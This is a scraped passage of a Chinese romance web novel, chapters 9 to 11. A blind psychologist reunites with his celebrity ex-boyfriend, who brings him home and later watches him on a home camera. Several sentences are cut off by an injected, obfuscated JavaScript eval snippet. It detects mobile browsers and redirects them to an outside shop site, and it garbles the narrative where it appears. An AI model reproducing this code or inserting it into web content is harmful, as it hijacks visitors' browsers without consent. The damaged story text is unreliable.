站在一旁的陶与乐非常感谢突然出现的嘉禾和女接待员,在这种兵荒马乱的情况下,给了他一点可以用来缓冲和平复的时间。 此刻,骤然紧缩的心脏慢慢松开,瞬间涌到大脑里的血液也重新回到四肢百骸,听着嘉禾在旁边叽叽喳喳说话的声音,他突然想到很久之前,他跟边绪的一段对话。 那时候边绪刚刚结束了一段恋情,抱着酒瓶子骂骂咧咧,陶与乐就在一旁安静地听,反正边绪也只是发泄情绪,不需要他给出反应。 然而在说完了自己的事情之后,边绪打了一个酒嗝,话锋一转:“算了,不说我了。” “这地球是圆的,就算你一直躲着,也有重新撞到他的可能,”边绪含混地叫了陶与乐的名字,在趴到桌上睡着之前问他:“要是有一天......你不小心碰见戚驰舟该怎么办?” 当时陶与乐脑海中出现的第一个念头就是不要,他希望戚驰舟永远不知道他已经瞎了。 可这个念头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168311|196402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 升起之后,他还是不受控制地顺着边绪的话,在脑海中想象了无数次他们在某个场合不期而遇的情形。 到那时,他该说什么,做什么......陶与乐模拟过好几百个版本。 可万万没想到真正到了这个时刻,他却将模拟的内容全都忘了。 连害怕和惶恐的那些事都不记得,也顾不得去思考戚驰舟突然出现的原因,唯有经年累月的想念与渴望占据上风。 ——很想。 很想亲眼看看戚驰舟现在是什么样子。 另外一边,心满意足拍到合照的嘉禾收起手机,终于意识到什么,视线在戚驰舟跟陶与乐之间转了几圈:“刚才都忘记问了,陶医生,原来你早就认识戚驰舟啊?怪不得刚才在楼上你一直都不说话。” 陶与乐张了张嘴。 戚驰舟也没立刻开口。 女接待员比嘉禾要大上几岁,敏锐察觉到这两人之间的氛围好像不太对劲,低头撞了撞嘉禾的胳膊,正准备岔开话题,没想到陶与乐“嗯”了一声,用很低的声音说:“早就认识。” “......” 虽然还是觉得陶与乐说话的声音小了一点,语气僵硬了点,但他没有否认,戚驰舟口罩下的脸色还是稍微好看了点,然后在心里很轻地哼了一声。 得知陶与乐跟戚驰舟居然认识,还是朋友,嘉禾“啊”了一声:“天呐,陶医生你居然都不告诉我们,还说你只是戚驰舟的粉——” “那什么,陶医生没事那我们就先走了,”情商更高的女接待员连拉带拽,强行打断了嘉禾的话,有些不好意思地冲戚驰舟跟陶与乐说:“你们回去的路上也注意安全,放心,我们都是签过保密协议的,绝对不会泄露来访者信息,也不会在网上瞎说……拜拜拜拜。” 她们很快离开,这段插曲告一段落。 戚驰舟重新望向陶与乐,发现这个从他出现以后就像被点了穴一样僵硬沉默的人,也正在用那双无神的眼睛尝试寻找他的位置。 陶与乐大约已经竭尽全力地调整过表情,可那张苍白的脸上还是有残留的,一览无余的茫然、滞涩与紧张。 以前的陶与乐不是这样。 他们之间的相处也不是这样。 再一次清晰感受到他们分开六年以及陶与乐看不见了这个事实,戚驰舟早就被扎穿的心脏重新往外淌血,胸口蓦地疼了一下。 于是他终于出声:“在找什么。” 陶与乐张了张口,他发现自己连戚驰舟的名字都喊不出来,在锁定方向之后,半晌才道:“你来看心理医生......情况是比我判断的还严重吗?” 戚驰舟忍不住嗤笑一声:“陶与乐,有时候我真的很想把你的脑子撬开,看看里面装的到底是什么。” 陶与乐站在原地呼吸一窒。 他何尝不知道自己说了一句废话。 可他现在应该跟戚驰舟聊些什么? 六年不见,是应该为当初的事向戚驰舟道歉,还是佯装若无其事的寒暄,说一声好久不见? 老实说,站在人来人往的大街上聊天这种事对戚驰舟来说非常傻逼。 但他就这么注视着眼前的人,在几秒钟之后干脆道:“与其说这些有的没的,你不如问我为什么要交一整年的咨询费用,为什么在咨询室全程都不出声,现在又为什么站在这里。” 他现在说的每一句话都是陶与乐想问又不敢问的。 陶与乐有些费力地握着盲杖,下意识抬眸跟戚驰舟对视:“为什......” “是因为你。” 陶与乐蓦地一怔。 “听见了吗?”戚驰舟看着他又重复一遍:“陶与乐,我是冲你来的。” 9.闲聊 陶与乐胸口剧烈起伏了一下,眼睛瞬间红了。 戚驰舟是冲他来的,这句话有三种可能。 第一,戚驰舟对当年的事耿耿于怀,一直想找他要个说法,第二,戚驰舟无意中发现他眼睛瞎了,想知道这究竟是怎么回事,第三...... 陶与乐脑子里一团浆糊,不敢去想第三种可能,可当戚驰舟活生生站在他面前,跟他说这种指向性极强的话,他还是控制不住产生了一些不切实际的联想。 下一秒想到自己的眼睛,心又在顷刻间沉进谷底。 “我有点不太明白......”陶与乐试图让自己冷静下来,舔了舔干涩的嘴唇“望”向戚驰舟所在的方向,强行转移话题道:“但是这么久没见面了,要不要一起吃个晚饭?” “好啊。”戚驰舟好像一点都不在意他转移话题,很干脆利落地点了点头。 “不过你应该知道我现在不太方便在外面吃,”几秒钟之后他又像突然想到什么似的,“要是去你家的话......阿姨她会同意吗?” “......” 要跟妈妈一起生活不过是陶与乐当初绞尽脑汁想出来的借口。那一年爷爷去世,林敏听说这个消息以后的确是回了一趟南城,只不过在给陶与乐留下一万块钱,看着他欲言又止,解释完“妈妈还要照顾弟弟,真的很对不起乐乐”之后又再度离开。 当年只有十七岁的陶与乐很配合地收下了钱,也很懂事地没再打扰过她。 只不过现在当着戚驰舟的面,陶与乐说:“......我现在已经开始工作,就自己搬出来住了。” 戚驰舟点了点头,似乎非常轻易就接受了这个说辞:“那现在有新男朋友吗?” “你请我这个前男友吃饭,他会不会觉得介意?” 陶与乐不自觉攥紧盲杖,等反应过来就已经说了“没有”。 “没有什么?”戚驰舟说:“没男朋友?” 不等陶与乐说话,戚驰舟又问:“真的吗,这么长时间都没再找过?” “......”话已经说出去了,陶与乐只能硬着头皮“嗯”了一声。 “是因为阿姨接受不了?”戚驰舟看着他,用闲聊一样的语气说着查户口的话:“那女朋友呢。” 陶与乐喉咙滑了一下,张了张口没有说话。 没错过他脸上任何一个表情的戚驰舟忍不住在心里冷笑一声,正准备问陶与乐是不是觉得自己撒谎的手段特别高明,高明到一辈子都不会被人拆穿的时候,放在口袋里的手机突然嗡嗡震动起来。 拿出来一看,发现是伍月打过来的电话。 虽然觉得对话再次被打断非常不爽,但担心会有正事,戚驰舟到底没有任性,还是当着陶与乐的面接了电话,“喂……” “我刚才发的微信看见了没?” 伍月那边像在走路,说话带风,声音里却有着极其明显的喜色:“今天下午你看完剧本之后不是写了一份简单的思考与总结吗,我把你总结的那个文档发给陈导看了,他觉得很有意思,想直接跟你聊聊,所以我跟他们那边约了个视频会议,你现在开车回工作室,我陪着你一起跟陈导好好谈谈。” 戚驰舟:“......” 如果他没记错的话,陈纪平今年已经快七十岁了。 他看完剧本三个小时内写完一份总结,是因为独自坐在车里无聊干脆用工作来打发时间,而陈纪平这样一个老头,晚上不好好休息,非拉着人开线上会议,对工作的积极性就这么高吗? 戚驰舟拿着手机:“能改期吗?” “胡说什么,两边都约好了,到时候徐编也来。” “怎么了,你有事?问文朔你今天干什么去了他也不说。”伍月走进办公室后看到乔昕的表情有些不对,一边打电话一边用嘴型问她出什么事了,乔昕咳嗽一声,立刻把手中的平板电脑递给伍月。 伍月低头一看,发现是条新发的小红书,上面写着:“啊啊啊姐妹们,我出门遛弯偶遇了戚驰舟配合粉丝拍照!但主包有点社恐,现在很犹豫要不要也冲过去要张合照,求支招。” 再看评论,短短十几分钟,已经冒出来一千多条,而且一半以上的IP都是同城。 伍月拿着手机马上问戚驰舟:“……你这会儿在平海西路?” 戚驰舟皱了皱眉:“你怎么知道?” “还我怎么知道,”伍月重新把平板递给乔昕,在电话那头没好气道:“你被人拍了你知道吗?人家还带了定位,现在那条小红书发出来了之后,有好多同在沪市的小姑娘跃跃欲试想过去跟你偶遇。” 戚驰舟:“......” 他下意识抬眸看了一眼周围,虽然并没有看到过来堵他的粉丝,但或许是他跟陶与乐的组合在路上比较显眼,确实有路人在经过时会多看他们两眼。 要知道戚驰舟入圈即是顶流,偶尔行踪泄露,被粉丝甚至私生围追堵截的事情并不少见,有时候夸张到连路都走不了两步,需要保镖来维持秩序。 要是一会儿真的有人过来,陶与乐的眼睛又看不见—— 黑着脸让伍月放心,告诉她不用叫文朔过来添乱,挂断电话以后,他顿了顿,望向陶与乐平静道:“今天这顿饭看来是吃不了了。” 戚驰舟刚刚完全没避着他,陶与乐自然也听见了电话内容。 要知道吃饭只是他仓促间用来转移话题的一个借口,如果可以不用吃饭,可以尽快离开,可以不在戚驰舟面前暴露出更多久别重逢的慌乱和窘迫,他明明可以松一口气,明明可以放松下来,可不知道为什么,还是不自觉握紧盲杖。 半晌后,陶与乐冲戚驰舟所在的方向扬起一个笑脸,说:“没关系,那你先——” “那你就跟我一起过去。” 打断陶与乐未完的话,戚驰舟面无表情地说:“既然阿姨不在,你目前还是单身,那回去的稍晚一点,应该没问题吧?” “还是说你刚才说想请我吃饭只是托词,这么快就反悔了?” 陶与乐:“……” 戚驰舟没给陶与乐任何拒绝的机会。 一句“再这样继续耽误下去,说不定一会儿我们都走不了了”直接拿捏。 当然,也有可能是陶与乐自己实在没办法管住自己。 原来想要拒绝,半晌后张口却变成了好。 六年不见。 哪怕眼睛什么都看不到,可他能听到戚驰舟的声音,闻到他身上的气味,这对陶与乐来说就像做梦一样。 离太近了,他控制不住,他舍不得。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然时间有限,能看的,能学的,能吸收的内容太少,但只这一会儿也足够用了。 然而,他没说话,陶与乐却忍不住了。 因为带路时让陶与乐用手扶着他,而不是带着陶与乐走,指路时将模糊的方位替换成明确的步数、左右和时钟方位……这些全部不属于普通人的知识范畴。 戚驰舟不应该知道真相。 就算六年以后突然偶遇了他,又怎么会懂这些? 怎么能掌握这种细节? 再联想到戚驰舟之前说的那句“因为你”以及“我是冲你来的”…… 当陶与乐在戚驰舟明显有些生疏但很精准的帮助下顺利走过马路,顺利上车,又顺利系上安全带以后,之前不敢想不能想的某些预感像被证实,他张了一下嘴巴,握着盲杖的指骨泛白,有些茫然和怔忡地睁大眼睛,终于转头低低叫了一声戚驰舟的名字,“你……” “我什么?” 没给他说话机会,戚驰舟问:“看你的表情,是现在终于知道错了?” “陶与乐,如果你当初没走,我做的应该比现在娴熟。” 10.回家 戚驰舟回工作室的时间刚好八点,将将确保自己跟陈导约的线上会议不会迟到。 “怎么到这么晚?”看到人以后伍月总算松了口气,但还是看着他随口问了一句:“从平海西路那边开过来不是只要半个时,今天路上很堵车吗?” 戚驰舟接过文朔递来的咖啡时动作顿了一下,心道:倒也不是。 从平海西路开过来是只要半个小时,可从平海西路到他位于市中心的房子,再到工作室却需要一个小时。 ——原本他的确是准备把陶与乐带到工作室来,转念一想,现在眼睛看不见了的陶与乐未必会喜欢一个有很多人的陌生环境。 而且比起让他坐在这里干等,接受伍月等人的好奇、审视、八卦......戚驰舟更希望把他放置在那个独属于自己一个人的房子里面,以满足他某种早就存在的,从未宣之于口的,压抑许久的隐秘欲望。 他当然不怕陶与乐跑。 因为把陶与乐带回家安置好了以后,戚驰舟直接启动了外部强制上锁功能。 就算陶与乐真的想像从前一样,再一次凭本事把他气死,从里面也打不开门。 就是不知道他一个人待在家里习不习惯。 戚驰舟有点想打开手机去看眼监控,看到就坐在他旁边的伍月的时候又强行忍住。 算了。 戚驰舟把手机扣在桌上,有些不满地想:真是麻烦。 这个世界上要是只有他跟陶与乐两个人该有多好。 而另外一边。 陶与乐正坐在戚驰舟专门从意大利运回来的沙发上面出神。 对他来说,跟戚驰舟重逢到现在发生的一切就像场梦,陶与乐明明没有喝酒,却觉得自己醉得厉害,心脏连着某根神经一起跳得很快,脑子里却像装了一团浆糊,混沌到难以思考。 但事实上,就算陶与乐再怎么迟钝,也不会听不懂戚驰舟想表达的那些暗示。 可问题就在于,六年的时间都过去了,戚驰舟怎么还会跟他说这样的话?怎么还会想看见他?怎么还愿意牵着他?怎么还把他给带回家? 就算没有怨恨,愤怒,生气,恼火......也不该对他这样一个曾经主动说出分手,又不告而别的人毫无芥蒂。 是因为他眼睛瞎了? 所以之前那些过往全部一笔勾销,戚驰舟还对他产生了不可避免的同情,怜悯,还有恻隐之心? 又或者...... 就像他这六年来始终念念不忘,日思夜想,刻骨铭心一样,戚驰舟同样没有忘记他,同样...... 不应该是这样的。 怎么会是这样的。 在车上,陶与乐其实有无数个问题想问。 比如这么多年过得好吗,比如还怪不怪他,比如戚驰舟怎么会知道他眼睛瞎了,还比如陶与乐最想知道也最重要那句—— 可那些话在喉咙里滚来滚去,到底还是没问出口。 这大概是因为,陶与乐在十七岁时就敢偷亲戚驰舟的勇气,在眼睛看不见了以后,随着光全部一起消失了吧。 这样想着,陶与乐觉得自己的胃部有些痉挛,下意识伸手按了一下,然后才想起来,戚驰舟在带他回家之前,就已经提前叫过外卖。 “是我临时有事,所以现在这顿不算。”当时戚驰舟说:“吃完了也不许走,在这里等我回来。” 然后他跟陶与乐说了这套房子的基础布局,告诉他客厅分成几个区域,放着哪些东西,到餐厅,厨房,洗手间,卧室,影音室分别要走几步,确认陶与乐全部记清楚以后才终于离开。 陶与乐觉得自己非常可耻,也很过分。 明知道靠近戚驰舟是不对的,接受他的关心也是错的,却还是在他误会自己有男朋友时第一时间否认,还是跟他一起回家。 而且还在心里给自己找了无数个理由,借口—— 比如他们是真的很久没见面了,比如戚驰舟对他看不见了一定有很多问题要问,比如以戚驰舟现在的身份,的确是不合适在大街上或外面跟他讲话...... 一边发自内心唾弃着这样的自己,一边为戚驰舟所说的话感到矛盾,悸动......陶与乐抿了下唇,在沙发上坐了很长时间,直到胃部再次发出抗议的信号,才回过神来,准备去摸索放在岛台上的外卖。 然而,就在他准备起身的时候,突然听见不远处传来“喵”地一声,陶与乐怔了一下,下意识望向声音传来的方向。 要知道自从眼睛看不见了以后,陶与乐的听觉就变得格外敏锐,再加上这套房子里除了他也没有别人,他很轻易便分辨出那声轻软的猫叫是从沙发后面传过来的。 紧跟着,有什么东西跳到茶几上面,在原地盯着他看了一会儿之后,又跳到距离他很近的地毯上面,然后挨上他的脚踝,轻柔的,试探的,带着一小片柔软温热的皮毛。 戚驰舟并没有告诉他家里有猫。 也没有公开发布过与猫有关的任何微博。 陶与乐下意识屏住呼吸,又感受到那团毛茸茸的暖意绕过他的裤脚,弓起脊背蹭过去,又从另一侧绕回来,在他腿上留下一片似有若无的痒。 而且或许是因为他没有动作,这只猫判断出他对它并没有威胁的原因,甚至又跳到沙发上,一点都不怕生地将自己小小的头顶着他的手背往上面拱,好像试图要把自己塞进他的手掌心里。 这让陶与乐不由得想起,在他十几岁的时候,曾经也动过养猫的念头。 尤其是有一回,戚驰舟突然盯着别人家一只白色的猫看了很久,陶与乐以为他是喜欢,当即表示自己可以攒钱买一只猫,不论戚驰舟喜欢什么品种都没问题,由他来养。 这样,就算戚驰舟大部分时间都不在国内,也可以实现无痛养猫,什么时候想看都可以。 然而戚驰舟却想都不想就否决了这个提议:“我才不想养猫,” 过了一会儿,对上陶与乐疑惑不解的眼神,又硬邦邦补上一句:“陶与乐,你不觉得刚才那只猫有点像你?” 陶与乐瞪大眼睛,忍不住问哪里像,戚驰舟很不讲理,在将视线从他脸上收回之后,告诉他哪里都像。 此刻,饶是内心各种各样的情绪沉甸甸堵在胸口,陶与乐还是忍不住弯了弯眼角,伸手去摸这只主动凑到他身边的猫。 猫除了最开始有一瞬间的紧绷之外,很快放松下来,用自己湿润的鼻子去蹭他的手,还发出呼噜呼噜的声音,最后甚至因为过于舒服,直接在沙发上躺了下来,四仰八叉。 陶与乐被逗笑了,望着空气轻声问:“你是他的猫吗?” 猫一味抱着他的胳膊,并不答话。 陶与乐便握着它的爪子晃了晃,继续说:“怎么腿这么短啊,你是矮脚猫吗?” 猫像是能听懂一样,突然咬住他的手指,像在抗议。 不过它并没有下死口,陶与乐也不觉得疼,很轻地揉了揉小猫脑袋:“你一直陪着他吗。这些年,他过得好不好?” 猫很小声地叫了一声,陶与乐便伸手去抓它下巴,然而,就在他们一人一猫相处和谐的时候,楼上不知道有什么东西砸到地上,头顶的天花板猛地炸开一声闷响。 当被吓到的猫咪“嗖”地一下从他身边跑走,跳到某处以后,下一刻又传来不知道是玻璃还是瓷器裂的声音。 应该是被猫从靠近餐厅的边几那边撞下来的。 听声音似乎碎的到处都是。 陶与乐看不见猫,也不知道它叫什么名字,第一反应是担心掉了一地的碎片会伤害到它。 于是,他想都不想就站起来,摸索着向前,在走到沙发尽头以后才蹲下去,用手掌贴着地板,一寸寸地往前探。 额角猝不及防撞到边几角的时候他闷哼一下,手还在往前伸,又听到猫在很近的距离发出“喵”的声音。 “先别过来,”陶与乐说:“这里有很多碎片,可能会把你的爪子扎伤......先别过来好吗?” 这个小家伙一看就是被惯坏了的那种类型,性格天不怕地不怕,万一它再跑过来,踩上这些碎片该怎么办? 陶与乐还记得刚刚那毛茸茸还带点温热的手感, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184280|196402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不能让猫受伤。 确认猫似乎并没有靠近的意思,陶与乐才继续再往前摸,终于触到一片尖锐的玻璃碎片,他小心地捡起来,往更远的地方找。 为了确保安全,得把所有碎片全部找到,不漏掉任何一片才行。就这样,他蹲在地上,手掌贴着地板,一点点地探过去,同时努力按照戚驰舟之前说的,回忆客厅的基础布局。 但或许是越忙越容易出错,就这么一会儿功夫,陶与乐磕了一下,两下,三下......起身不小心把椅子碰倒的那一刻,不知道躲在哪里的猫再次发出一声短促的,应激的叫声,飞快蹿了出去。 陶与乐想确认它的位置,然而什么都看不见的他在完全陌生的环境里面,连最基础的辨别方向都做不到,往前走撞到餐桌,往后走又碰到倒在地上的那把椅子。 这种不论走到哪里都碰壁的状态,让他突然想起自己最开始失明的那段时间。 当时他突然间什么都看不见,目之所及是一片毫无差别的黑,陶与乐慌乱至极,只能反复把眼睛闭上又再睁开,希望睁开眼就能看见。 但没有用,他眼前的黑没有尽头,也没有开关,没有睁开眼就能看到的这个选项。 他甚至觉得,那种黑更像是一堵墙,一堵突然出现在他面前的墙,他往后退一步,墙就跟着往前一步,怎么退都退不开,永远贴着,他根本无法躲避,只能不断摔倒、碰壁,磕得浑身浑身是伤。 ——盲人就是这样。 不论再怎么努力适应黑暗,不论表面看上去再怎么体面正常,也永远没办法做到跟正常人一模一样,他们随时都有可能出现状况。 这也是陶与乐当初选择远离,不愿意变成累赘,拖着戚驰舟的人生跟他一起变暗的原因。 他一直觉得自己的选择是对的,是好的,是毋庸置疑的...... 可或许是因为陶与乐已经很久没这么狼狈,连续磕碰带来的疼痛令他眼眶和鼻子一起发酸。 怎么办。 陶与乐现在忽然不敢去想另外一种可能。 另一种——假如戚驰舟一直在找他,一直在等他的可能。 * 戚驰舟回来的时候,看到的就是陶与乐靠在沙发上睡着了的样子。 客厅里还是跟之前一样,只亮了一盏落地灯,而陶与乐闭着眼睛,不知道究竟做了怎样的梦,似乎正面临着让他极为痛苦的某种选择,就连睡着时都紧紧皱着眉头。 可偏偏暖黄色的光圈勾勒出他柔和的侧脸轮廓,那种少年时期尚未褪尽的干净和岁月赋予的安静混在一起,中和了那种痛苦,形成了另外一种非常独特又难以言喻的气质。 这种气质对戚驰舟来说稍微有点陌生,但毫无疑问是好看的。 好看到戚驰舟甚至有点生气—— 因为陶与乐现在这张脸的欺骗性远比六年前更强,实在是很容易就让人狠不下心。 不自觉放轻脚步,戚驰舟面无表情盯着陶与乐看了好一会儿后,才发现翻着雪白的肚皮,窝在他脚边,同样睡得正香的猫。 “......”戚驰舟冷着脸道:“你倒是很会享受。” 虽然家里开着地暖,但就这么睡在沙发上也极有可能着凉,他干脆走过去,准备把陶与乐抱到房间里去。 没想到刚弯下腰,陶与乐就睁开了眼。 或许是本来就睡得不熟,又或许是突然被他吵醒,明明陶与乐现在什么都看不见了,可他下意识朝戚驰舟所在方向望过来的眼神,还是看得戚驰舟心头一跳,连动作也停顿半秒。 “醒了?”慢了半拍才反应过来的戚驰舟立刻挪开视线,装作若无其事地直起身:“现在已经十二点了,要困了就到床上去——” “睡”字还没说完,突然感觉自己手臂一沉。 低头一看,发现陶与乐抓住了他的衣服,像用了很大很大的力气。 戚驰舟顿了下,语气很淡地问:“怎么了?” “我......”陶与乐仰着头,用那双黯淡又无神的眼睛望向他说:“要是我知道错了,现在还来得及吗?” 11.追求 戚驰舟整个人都愣了一下,看向陶与乐:“你说什么?” 他以为自己的耳朵听错了,或者出现了某种幻觉。 而之所以第一反应是不敢置信的原因也很简单—— 戚驰舟在回来之前,提前看过家里的监控。 监控早就装了,平时主要是为了看猫,或者偶尔在他忙到脚不沾地根本没时间回家的时候,用语音模式跟猫说两句话,没想到有朝一日,还能用在陶与乐身上。 当时他刚跟陈纪平导演开完线上会议,进入工作状态的戚驰舟跟平时不太一样,会尽可能深入地表达自己想法,也会据理力争。陈导估计也没想到像他这样的顶流会是这种风格,没有任何虚的,假的,一上来就直奔主题,还挺满意,于是,很快也拿出百分之百的认真,跟他探讨剧情。 就这样你来我往,竟然真的在原剧本的基础上碰撞出一些新的火花,陈导非常兴奋,索性叫停会议,当即拽着徐编改脚本去了。 戚驰舟一边对他的工作热情感到由衷敬佩,一边忍不住松了口气,毕竟看刚才那种架势,他真的很怕这个会要一口气开到明天早晨。 会议结束以后,戚驰舟当即站起身来,把手机揣进兜里就准备离开,没想到伍月又叫住他:“等等等,我这儿还有件别的事要跟你谈。”说完,不给戚驰舟拒绝的机会,风风火火回了自己办公室去拿资料。 戚驰舟:“......” 就算再怎么急着离开,也只能耐住性子等伍月回来。 也就是这个空档,他打开了家里的监控去看回放。 最开始看到陶与乐一直坐在沙发上走神,觉得他那副傻愣愣的样子,倒是跟十几岁的时候很像。 然后看到陶与乐撸猫,对着猫露出戚驰舟很熟悉的,很纯粹的笑脸,又用很小的声音,问猫他这些年过得怎么样。 戚驰舟非常冷酷地垂着眼睑,用拇指反复拖动了好几次进度条,只为了回看陶与乐脸上的笑,同时还忍不住在心里想:问猫不如问我。 那只一天到晚只知道吃饭睡觉和撒娇卖萌的猫崽子会回答才奇怪了。 然而这个念头并没有持续多久,紧跟着,戚驰舟听见楼上响起“砰”地一声炸响,原本还舒舒服服赖在陶与乐身边不走的猫被吓到,瞬间从他怀里蹿了出去,还撞倒了边几上用来装饰的透明花瓶,花瓶碎了一地。 戚驰舟当即坐起了身,第一时间望向手机右上角的时间,发现距离花瓶碎了过去了快一个小时。 而监控视频里什么都看不见的陶与乐先是对着空气安抚猫,告诉它千万不要靠近这里,然后从沙发上站起来又蹲下来,伸出手去摸地上的碎玻璃。 中间,因为对陌生环境并不熟悉的缘故,他在捡玻璃的过程中经历了很多次磕碰,撞到头,撞到手,撞到胳膊,撞到膝盖,撞到脚......像只困兽。 很难形容戚驰舟那一刻的感受。 他忽然发现——或许是因为六年以后哪怕眼睛看不见了,却依然变成小陶医生的陶与乐太体面了,会自己用盲杖走路上班,会坐在咨询室为来访者做心理咨询……这一切都导致戚驰舟对陶与乐瞎了这件事的认知还不够深刻。 他没有真正意识到瞎了这两个字究竟意味着什么,没有真正体会到陶与乐在看不见这些年到底吃了多少苦头。 没等他后悔自己居然忘了提前把客厅里的易碎物品收好,并返回监控实时界面,准备确认陶与乐现在情况如何的时候,又看见陶与乐在磕碰了很多次后终于停顿下来,在原地站了一会儿之后,隔着空气问猫:“你说我是不是很没用啊。” “连自己都保护不了,还想着要保护你。” “......” 猫当然不可能回答陶与乐的任何问题。 甚至它因为接二连三的大声响动,早就跑不见了。 戚驰舟的胸口却剧烈地起伏了一下,不自觉攥紧手机。 陶与乐当初认为只是个累赘、麻烦、拖累,所以想都不想就躲起来,离开他。 那现在呢? 他是不是会做出跟当年一模一样的选择?是不是要继续扮演那个伟大的,主动牺牲自己的角色? 伍月拿着厚厚一沓资料回来的时候,看到的就是戚驰舟阴沉着脸,握紧拳头,情绪波动巨大的样子。 可问题是,戚驰舟的反应说生气也不完全是生气,说发火也不完全是发火......她一边关上玻璃门,一边忍不住问:“怎么了这是?谁惹你了?” 戚驰舟的表情在一秒钟内恢复正常,然后把手机按熄,告诉伍月说没什么。 “......”伍月有些狐疑地看他一眼,但还是没有追问:“那你先看看这个,这是——” “很着急吗?”没有去接伍月递来的资料,戚驰舟看了眼手腕上的时间,声音很沉地问。 “......倒也不算特别着急,本周内确认都行。” “不着急就改天再看。”得到伍月的确认以后,戚驰舟立刻拿起之前搭在椅背上的外套起身:“我现在有非常重要的事情去做。” 说完,不等伍月反应,就已经推开了会议室的门。 而开车一路疾驰从工作室回家的戚驰舟,看着眼前不断闪过的街景与夜色,在脑海中预设了陶与乐的很多反应。 在大马路上他就已经把话说的那么直接,所以陶与乐能给他的回应无非就是那些。 否认戚驰舟的猜测。 不承认当年的真相。 再编一堆谎话骗他,再推开他,远离他。 即使戚驰舟设身处地,在换位思考以后认为假如是他眼睛瞎了,大概率也会做出跟陶与乐大致相同的选择,也不妨碍他现在的心情差到极致,像狂风骤雨,阴云密布。 ——戚驰舟还记得十七岁那年暑假,他跟陶与乐说好了要一起去看某明星的演唱会,票还是专门定闹钟抢的,为此,陶与乐高兴得好几天都没睡好觉,满心期待。 可就在演唱会的前几天,戚驰舟因为打篮球意外崴伤了脚,疼到连路都走不了,为了不让陶与乐失望,他只能把属于自己的票拿出来,让陶与乐再找别人一起去看。 然而,就在戚驰舟打着石膏暗自不爽,又不知道到底该冲谁发火的时候,却看到原本应该出发去看演唱会的陶与乐出现在他面前,还吭哧吭哧搬来一堆不知道从哪儿弄来的投影仪、音响、荧光棒。 然后晃着两张尚未检票的票根,煞有介事地说:“2019年戚驰舟专属定制版嘉年华演唱会现在开始检票,请观众准时按顺序入场。” “......” 戚驰舟当时觉得陶与乐真是一个笨蛋,明明可以去现场看一场真正的演唱会,却非要跟他一起玩这种幼稚的过家家游戏,还白白浪费两张票根。 但他永远都记得陶与乐当时的话。 当时陶与乐的眼睛很亮,说话的语气也很坚定,他说“你受伤了我更要陪着你了”,还说“戚驰舟,我不会抛弃你的”。 现在重新回想起来,戚驰舟简直恨得牙根发痒。 陶与乐是不是忘了自己说过的话?他做事凭什么这么双标? 就这样,已经提前预设出事情发展方向的戚驰舟一路踩着限速回家,又带着一身戾气上楼。 只不过当他用指纹解锁进门,却看到客厅里亮着盏灯,而陶与乐居然靠在沙发上睡着了的时候,那股戾气不自觉被浇灭三分之一。 走过去准备抱陶与乐到床上去睡,却意外把他弄醒,同时近距离闻到他身上那股熟悉的椰子香气时,又浇灭三分之一。 原本准备发火,怒气值却莫名其妙只剩下最后三分之一,还涌起更多难以言喻的心疼,后悔,恍惚等情绪的戚驰舟深吸口气,只能佯装若无其事。 没想到陶与乐会直接抓住他的手腕。 当时,第一反应是陶与乐连在他这里睡一晚都不愿意,急着要提出离开的戚驰舟怒气值在瞬间又重新飙升回到一百。 他强行压抑着某种情绪没表露出来,准备等陶与乐说出口后,直接堵住他的嘴唇,让他再也说不出任何话的戚驰舟却听见了一句他无论如何都没想到的话。 这种转折实在太大,戚驰舟愣了两秒,黑沉的目光落在眼前人的身上,又问了一遍:“陶与乐,你刚才说什么?” 陶与乐喉咙滚了一下,纵然指骨泛白,还是没松开攥着戚驰舟衣袖的手。 因为看不见的缘故,他没办法精准判断出戚驰舟的反应,学了好几年的心理学知识在这一刻也全部消失,更不知道他之前揣测的一切是不是自作多情,但假如真的是他想的那样,哪怕只有万分之一的可能......都令陶与乐难以接受,心如刀绞。 更何况勇气这种东西稍纵即逝,他很怕自己稍有犹豫,下一秒就会消失。 于是,陶与乐收紧了手上的力道,望着空气,沙哑着嗓子确认:“你去心理咨询中心是为了我,这六年来......你一直都没有忘记我,对不对?” “......” 戚驰舟顿了一下,面无表情心道:那不然呢? 不止没有忘记。 甚至于就算他们中间隔着六年前那戛然而止的结局,被完全蒙在鼓里的误会,他依然在咬牙切齿的气恼与不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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离开戚驰舟,不被他发现,戚驰舟就能正常地往前走,不被一个盲人拖累,继续拥有光芒万丈的,永远不会下坠的精彩人生。 